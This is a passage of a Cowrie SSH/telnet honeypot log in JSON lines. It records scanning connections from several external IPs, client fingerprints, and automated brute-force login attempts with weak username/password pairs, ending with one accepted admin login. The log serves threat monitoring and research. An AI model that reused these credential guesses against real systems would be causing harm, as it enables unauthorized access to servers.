iffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:16.403355Z","src_ip":"163.7.6.74","session":"c8cb87efbdeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abcd1234","message":"login attempt [test/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:17.455874Z","src_ip":"163.7.6.74","session":"c8cb87efbdeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:18.716613Z","src_ip":"163.7.6.74","session":"c8cb87efbdeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"6895d6f0a1df","protocol":"telnet","message":"New connection: 69.6.249.0:59634 (159.203.135.109:23) [session: 6895d6f0a1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:19.731817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36644,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed33df710cf2","protocol":"ssh","message":"New connection: 103.15.226.202:36644 (10.17.0.5:22) [session: ed33df710cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:37.604887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:37.609159Z","src_ip":"103.15.226.202","session":"ed33df710cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:37.849926Z","src_ip":"103.15.226.202","session":"ed33df710cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@123","message":"login attempt [root/Cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:38.568393Z","src_ip":"103.15.226.202","session":"ed33df710cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:39.810492Z","src_ip":"103.15.226.202","session":"ed33df710cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34280,"dst_ip":"159.203.135.109","dst_port":23,"session":"19e2ef4118ac","protocol":"telnet","message":"New connection: 69.6.249.0:34280 (159.203.135.109:23) [session: 19e2ef4118ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:45.132215Z"}
{"eventid":"cowrie.session.closed","duration":32.945099115371704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:52.676804Z","src_ip":"69.6.249.0","session":"6895d6f0a1df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29585,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d724aedcd37","protocol":"telnet","message":"New connection: 212.55.149.117:29585 (10.17.0.5:23) [session: 0d724aedcd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:13.367486Z"}
{"eventid":"cowrie.session.closed","duration":31.16336154937744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:16.295442Z","src_ip":"69.6.249.0","session":"19e2ef4118ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":34182,"dst_ip":"159.203.135.109","dst_port":22,"session":"a469ee6ac78d","protocol":"ssh","message":"New connection: 163.7.6.74:34182 (159.203.135.109:22) [session: a469ee6ac78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:17.163918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:17.168917Z","src_ip":"163.7.6.74","session":"a469ee6ac78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:17.425883Z","src_ip":"163.7.6.74","session":"a469ee6ac78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"password","message":"login attempt [usertest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:18.485974Z","src_ip":"163.7.6.74","session":"a469ee6ac78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:19.746690Z","src_ip":"163.7.6.74","session":"a469ee6ac78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.83989667892456,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:46.502039Z","src_ip":"212.55.149.117","session":"3a0b97b7015c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44938,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d13ba18e6f","protocol":"telnet","message":"New connection: 69.6.249.0:44938 (159.203.135.109:23) [session: 72d13ba18e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:25:49.177735Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35144,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2dc339d75c","protocol":"telnet","message":"New connection: 69.6.249.0:35144 (159.203.135.109:23) [session: dd2dc339d75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:08.366384Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35156,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0d8e5de482","protocol":"telnet","message":"New connection: 69.6.249.0:35156 (159.203.135.109:23) [session: de0d8e5de482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:12.428781Z"}
{"eventid":"cowrie.session.closed","duration":60.43245482444763,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:13.799826Z","src_ip":"212.55.149.117","session":"0d724aedcd37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":29520,"dst_ip":"159.203.135.109","dst_port":22,"session":"d600d26ec9af","protocol":"ssh","message":"New connection: 31.57.216.36:29520 (159.203.135.109:22) [session: d600d26ec9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:17.548792Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:17.554291Z","src_ip":"31.57.216.36","session":"d600d26ec9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":29526,"dst_ip":"159.203.135.109","dst_port":22,"session":"3936982a2e2f","protocol":"ssh","message":"New connection: 31.57.216.36:29526 (159.203.135.109:22) [session: 3936982a2e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:17.687011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:17.691761Z","src_ip":"31.57.216.36","session":"3936982a2e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:17.794848Z","src_ip":"31.57.216.36","session":"3936982a2e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:18.003250Z","src_ip":"31.57.216.36","session":"3936982a2e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:19.110902Z","src_ip":"31.57.216.36","session":"3936982a2e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0799446105957,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:21.257548Z","src_ip":"69.6.249.0","session":"72d13ba18e6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":52784,"dst_ip":"159.203.135.109","dst_port":22,"session":"96272bafa0b7","protocol":"ssh","message":"New connection: 163.7.6.74:52784 (159.203.135.109:22) [session: 96272bafa0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:28.106727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:28.111439Z","src_ip":"163.7.6.74","session":"96272bafa0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:28.357492Z","src_ip":"163.7.6.74","session":"96272bafa0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:29.381524Z","src_ip":"163.7.6.74","session":"96272bafa0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:30.630579Z","src_ip":"163.7.6.74","session":"96272bafa0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.726458311080933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:40.092716Z","src_ip":"69.6.249.0","session":"dd2dc339d75c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50768,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab39ff8c479","protocol":"telnet","message":"New connection: 69.6.249.0:50768 (159.203.135.109:23) [session: 2ab39ff8c479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:41.994181Z"}
{"eventid":"cowrie.session.closed","duration":31.725081205368042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:44.153703Z","src_ip":"69.6.249.0","session":"de0d8e5de482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45040,"dst_ip":"159.203.135.109","dst_port":22,"session":"1244b95a8378","protocol":"ssh","message":"New connection: 80.94.92.186:45040 (159.203.135.109:22) [session: 1244b95a8378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:46.826494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:47.002174Z","src_ip":"80.94.92.186","session":"1244b95a8378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:47.006572Z","src_ip":"80.94.92.186","session":"1244b95a8378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:47.999362Z","src_ip":"80.94.92.186","session":"1244b95a8378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:49.302130Z","src_ip":"80.94.92.186","session":"1244b95a8378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":45220,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86d3f66713e","protocol":"telnet","message":"New connection: 69.6.249.0:45220 (159.203.135.109:23) [session: f86d3f66713e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:26:54.542626Z"}
{"eventid":"cowrie.session.closed","duration":31.906484365463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:13.900586Z","src_ip":"69.6.249.0","session":"2ab39ff8c479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38214,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a90e08ae5d6","protocol":"telnet","message":"New connection: 69.6.249.0:38214 (159.203.135.109:23) [session: 9a90e08ae5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:20.049135Z"}
{"eventid":"cowrie.session.closed","duration":30.338117361068726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:24.880623Z","src_ip":"69.6.249.0","session":"f86d3f66713e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"83071e890d67","protocol":"ssh","message":"New connection: 163.7.6.74:55918 (159.203.135.109:22) [session: 83071e890d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:33.903540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:33.908011Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:34.156797Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2021","message":"login attempt [admin/admin2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:35.183081Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
